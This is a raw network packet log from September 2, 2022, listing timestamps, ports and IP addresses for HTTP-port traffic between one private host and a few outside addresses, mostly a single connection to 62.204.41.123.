Sep 2, 2022 14:02:21.688158989 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688179016 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688199043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688215017 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688230991 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688246965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688262939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688280106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688297033 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688318014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688321114 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688335896 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688350916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688354015 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688365936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688370943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688388109 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688396931 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688404083 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688420057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688436031 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688446999 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688447952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688452005 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688456059 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688460112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688462973 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688466072 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688468933 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688468933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688472986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688476086 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688478947 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688483000 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688487053 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688488007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688496113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688503981 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688519955 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688536882 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688560963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688566923 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688570023 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688570976 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688572884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688580990 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688642979 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688659906 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688663960 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688676119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688693047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688709974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688719988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688724041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688725948 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688729048 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688745975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688760996 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688761950 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688780069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688791037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688796043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688812017 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688821077 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688826084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688827038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688843966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688846111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688859940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688877106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688883066 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688889027 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688900948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688913107 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688918114 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688927889 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688941956 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688945055 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688963890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688980103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688982010 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688987017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688996077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689008951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689012051 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689028978 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689043045 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689044952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689048052 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689070940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689070940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689088106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689104080 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689105988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689119101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689136028 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689141035 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689146996 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689152956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689168930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689172983 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689188004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689203024 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689208031 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689208984 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689229965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689237118 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689245939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689270973 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689271927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689287901 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689292908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689304113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689320087 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689328909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689335108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689337969 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689357042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689376116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689376116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689380884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689399004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689402103 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689405918 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689415932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689433098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689441919 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689449072 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689449072 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689466000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689471006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689482927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689481020 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689500093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689502001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689508915 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689518929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689533949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689552069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689567089 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689569950 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689585924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689598083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689604044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689623117 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689640045 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689656019 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689672947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689688921 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689704895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689722061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689739943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689740896 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689752102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689755917 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689757109 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689759970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689764023 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689766884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689770937 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689774036 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689776897 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689783096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689812899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689816952 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689821005 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689834118 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689851999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689868927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689882040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689893961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689907074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689924955 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689925909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.689939022 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689950943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689966917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689980030 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.689991951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690005064 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690017939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690027952 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690037012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690048933 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690062046 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690084934 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690084934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690098047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690115929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690116882 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690131903 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690152884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690154076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690165997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690171957 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690184116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690203905 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690207005 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690223932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690228939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690247059 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690254927 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690270901 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690284014 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690288067 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690290928 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690315008 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690319061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690331936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690340996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690361977 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690371990 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690380096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690391064 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690397024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690411091 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690412998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690429926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690429926 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690445900 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.690458059 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690468073 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.690495014 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.758575916 CEST	49785	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.758613110 CEST	49784	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.759738922 CEST	49786	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:21.761464119 CEST	49788	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.761533976 CEST	49789	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.761580944 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.762104034 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.786695957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:21.789032936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:21.793128014 CEST	80	49786	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:21.793164968 CEST	80	49786	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:21.793284893 CEST	49786	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:21.806834936 CEST	80	49785	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.809927940 CEST	49786	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:21.810122013 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:21.811366081 CEST	80	49788	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.812748909 CEST	49788	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.812961102 CEST	49790	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:21.815567017 CEST	80	49784	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.821086884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821125031 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821149111 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821181059 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821223021 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821479082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821508884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821533918 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821557999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821576118 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821588993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821604967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821619034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821647882 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821665049 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821671009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821680069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821696997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821721077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821726084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821746111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821748972 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821753025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821778059 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821779013 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821810961 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821811914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821836948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821844101 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821861029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821883917 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821883917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821896076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821909904 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821935892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821939945 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821957111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.821959972 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821985006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.821990967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822021961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822048903 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822052002 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822058916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822067976 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822091103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822105885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822109938 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822134018 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822160006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822165966 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822179079 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822180986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822197914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822232008 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822258949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822268009 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822273970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822283030 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822295904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822307110 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822329044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822345972 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822352886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822354078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822379112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822403908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822403908 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822416067 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822422028 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822452068 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822483063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822498083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822503090 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822510004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822530985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822532892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822555065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822577953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822582006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822583914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822606087 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822624922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822628975 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822632074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822650909 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822673082 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822675943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822699070 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822721958 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822722912 CEST	80	49768	62.204.41.123	192.168.2.6
